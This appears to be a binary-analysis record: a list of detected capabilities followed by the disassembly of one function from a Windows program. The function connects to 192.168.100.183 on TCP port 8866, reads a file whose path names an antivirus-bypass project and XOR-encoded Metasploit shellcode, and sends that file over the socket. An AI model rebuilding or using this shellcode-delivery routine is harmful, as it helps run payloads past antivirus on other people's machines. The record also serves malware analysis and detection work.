Function at 0x140011037
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
jmp 0x140012710
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x548
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xea
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x568]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x510], rax
lea rcx, [0x140025104]
call fcn.1400114e7
nop
mov eax, 0x202
mov word [rbp + 0x24], ax
mov eax, 0x22a2
mov word [rbp + 0x224], ax
lea rdx, [rbp + 0x50]
movzx ecx, word [rbp + 0x24]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400127a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
mov edx, dword [rbp + 4]
lea rcx, str.__WSAStartup_Error_:__d__n
call fcn.14001125d
nop
mov eax, dword [rbp + 4]
jmp 0x140012a50
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
jne 0x1400127ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
mov edx, dword [rbp + 4]
lea rcx, str.__Socket_Error_:__d__n
call fcn.14001125d
nop
mov eax, dword [rbp + 4]
jmp 0x140012a50
mov eax, 2
mov word [rbp + 0x248], ax
movzx ecx, word [rbp + 0x224]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x24a], ax
lea rcx, str.192.168.100.183
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x24c], eax
mov r8d, send
lea rdx, [rbp + 0x248]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140012860
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 4], eax
mov edx, dword [rbp + 4]
lea rcx, str.__Bind_Error_:__d__n
call fcn.14001125d
nop
mov eax, dword [rbp + 4]
jmp 0x140012a50
lea rax, str.C:UsersicfhDesktopBypassAVCATmsf_shellcodemsf6666_raw_xor
mov qword [rbp + 0x278], rax
lea rdx, [0x14001be30]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x298], rax
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_fseek]
nop
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [rbp + 0x2b4], eax
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_rewind]
nop
mov eax, dword [rbp + 0x2b4]
mov ecx, eax
call fcn.140011226
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x4b8]
mov qword [rbp + 0x2d8], rax
mov eax, dword [rbp + 0x2b4]
mov r9, qword [rbp + 0x298]
mov r8d, eax
mov edx, 1
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.ucrtbased.dll_fread]
mov qword [rbp + 0x2f8], rax
mov eax, dword [rbp + 0x2b4]
cmp qword [rbp + 0x2f8], rax
je 0x1400129a1
lea rdx, str.read_error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001109b
lea rdx, [0x140011041]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x4d8], rax
mov rcx, qword [rbp + 0x4d8]
call fcn.140011276
cmp qword [rbp + 0x4d8], 0
jne 0x140012973
mov qword [rbp + 0x508], 0
jmp 0x14001298c
mov qword [rbp + 0x2d8], 0x8123
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x508], rax
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
xor eax, eax
jmp 0x140012a50
xor r9d, r9d
mov r8d, dword [rbp + 0x2b4]
mov rdx, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0
jle 0x1400129ef
mov edx, dword [rbp + 0x314]
lea rcx, str.__Send__d_Bytes__n
call fcn.14001125d
nop
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x4f8], rax
mov rcx, qword [rbp + 0x4f8]
call fcn.140011276
cmp qword [rbp + 0x4f8], 0
jne 0x140012a27
mov qword [rbp + 0x508], 0
jmp 0x140012a40
mov qword [rbp + 0x2d8], 0x8123
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x508], rax
mov rcx, qword [rbp + 0x298]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001bcc0]
call fcn.14001144c
mov rax, rdi
mov rcx, qword [rbp + 0x510]
xor rcx, rbp
call fcn.140011280
lea rsp, [rbp + 0x528]
pop rdi
pop rbp
ret